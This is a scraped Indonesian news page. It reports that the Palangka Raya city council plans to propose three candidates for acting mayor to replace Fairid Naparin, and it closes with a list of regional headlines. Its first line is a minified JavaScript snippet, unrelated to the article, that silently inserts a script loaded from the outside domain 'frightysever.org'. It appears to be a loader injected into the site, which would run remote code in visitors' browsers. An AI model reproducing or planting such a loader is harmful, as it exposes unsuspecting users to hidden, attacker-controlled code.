(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD Kota Palangka Raya

DPRD Kota Palangka Raya Usulkan Tiga Calon Pejabat Wali Kota Sementara Menggantikan Fairid Naparin


KANALKALIMANTAN.COM,PALANGKARAYA- Ketua Dewan Perwakilan Rakyat Daerah (DPRD) Kota Palangka Raya, Sigit K Yunianto, mengumumkan pihak DPRD berencana mengusulkan tiga calon Pejabat (Pj) Wali Kota setempat untuk menggantikan Wali Kota saat ini, Fairid Naparin, yang masa jabatannya akan berakhir pada September 2023 mendatang.

Sigit menjelaskan bahwa berdasarkan konstitusi, DPRD memiliki hak untuk mengusulkan calon Pj Wali Kota sementara dengan tujuan mengisi kekosongan jabatan kepala daerah. DPRD akan memastikan bahwa calon Pj yang diusulkan memiliki integritas tinggi dan mampu melanjutkan program-program yang sedang berjalan hingga terpilihnya wali kota dalam Pilkada tahun 2024 mendatang.

Ketua DPRD juga menegaskan bahwa pihaknya masih dalam tahap pembahasan dan belum memastikan calon pejabat pimpinan daerah yang akan diusulkan kepada Kementerian Dalam Negeri (Kemendagri). Keputusan final akan diambil setelah rapat dewan selesai.

Sigit mengungkapkan bahwa Pj Wali Kota akan dipilih dari kalangan Pegawai Negeri Sipil (PNS) yang masih aktif dengan persyaratan tingkat kabupaten atau kota setingkat Sekretaris Daerah (Sekda), jika dari provinsi setingkat eselon dua, dan jika dari pusat setingkat Dirjen.

“Hal ini bertujuan untuk menjaga netralitas lingkungan kerja Pemerintah Kota Palangka Raya dalam menghadapi Pemilu yang akan datang,” kata Sigit.

Fairid Naparin telah menjabat sebagai Wali Kota Palangka Raya sejak dilantik pada 24 September 2018, bersama dengan Wakilnya, Umi Mastikah.

Masa jabatannya akan berakhir pada September 2023, sehingga akan ada masa kekosongan kepemimpinan yang akan diisi oleh seorang penjabat sementara.

Proses pemilihan calon Pejabat Wali Kota tersebut melibatkan tim Kemendagri, DPRD, dan Gubernur untuk menghasilkan tiga nama yang akan diajukan dan dibahas lebih lanjut.(www.kanalkalimantan.com/hms)

Editor : rdy


Muhammad Andi

Recent Posts

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

6 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

6 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

7 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

8 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

9 jam ago

Nurgita Tiyas Berharap Guru Dapat Lebih Cakap Digital

KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More

9 jam ago

This website uses cookies.